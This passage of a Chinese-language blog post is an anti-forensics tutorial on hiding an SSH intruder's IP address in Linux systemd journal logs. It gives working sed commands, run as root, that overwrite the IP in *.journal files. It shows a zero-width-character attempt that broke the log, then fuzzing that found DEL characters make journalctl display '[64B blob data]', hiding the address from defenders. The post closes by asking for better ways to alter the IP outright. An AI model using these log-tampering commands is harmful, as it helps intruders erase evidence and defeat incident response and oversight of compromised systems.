

```
1 sed -i "s/111.111.11.11/127.000.00.01/g" *.journal
```

```
2 journalctl -u ssh | grep 3154430
```

```
journalctl -u ssh | grep 3154430
Sep 23 17:03:27 VM-4-12-ubuntu sshd[3154430]: Received disconnect from 127.000.00.01 port 55728:11: [preauth]
Sep 23 17:03:27 VM-4-12-ubuntu sshd[3154430]: Disconnected from authenticating user ubuntu 127.000.00.01 port 55728 [preauth]
```

显然不是很优雅

零宽字符尝试

虽然我们能修改成一个随机的ip了，但是防御方可以通过日志对比发现踪迹。

于是想到了零宽字符，比如127.000.00.01，就是在视觉效果上显示127.0.0.1，但是可惜的是不支持。

```
1 s=`echo -e '\u200C'`
2 sed -i "s/111.111.11.11/127.${s}${s}0.${s}0.${s}1/g" *.journal
3 journalctl -u ssh | grep 3154430
```

```
root@VM-4-12-ubuntu:/var/log/journal/82a4cb8d52c54324b68be6e9303e0e2f# s=`echo -e '\u200C'`
sed -i "s/111.111.11.11/127.${s}${s}0.${s}0.${s}1/g" *.journal
journalctl -u ssh
-- No entries --
```

fuzz之blob data

于是对字符fuzz，发现对不可见的字符，journal就不直接显示，而事显示blob data。

```
1 s=`echo -e '\u007F'`
2 sed -i "s/111.111.11.11/127.${s}${s}0.${s}0.${s}1/g" *.journal
3 journalctl -u ssh | grep 3154430
4
```

```
Sep 23 17:03:27 VM-4-12-ubuntu sshd[3154430]: [64B blob data]
Sep 23 17:03:27 VM-4-12-ubuntu sshd[3154430]: [79B blob data]
```

结合利用

显示的时候是blob data，直接去查看journal日志文件也找不到真实的IP

```
1 s=`echo -e '\u007F'`
2 sed -i "s/111.111.11.11/${s}${s}${s}.${s}${s}${s}.${s}${s}.${s}${s}/g" *
3 journalctl -u ssh | grep 3154430
```

```
root@VM-4-12-ubuntu:/var/log/journal/82a4cb8d52c54324b68be6e9303e0e2f# s=`echo -e '\u007F'`  
sed -i "s/111.111.11.11/${s}${s}${s}.${s}${s}${s}.${s}${s}.${s}${s}/g" *.journal  
journalctl -u ssh | grep 3154430  
Sep 23 17:03:27 VM-4-12-ubuntu sshd[3154430]: [64B blob data]  
Sep 23 17:03:27 VM-4-12-ubuntu sshd[3154430]: [79B blob data]
```

总结

其实还不是很完美，理想状态是直接修改IP而非隐藏。如果有更好的方法，欢迎一起交流。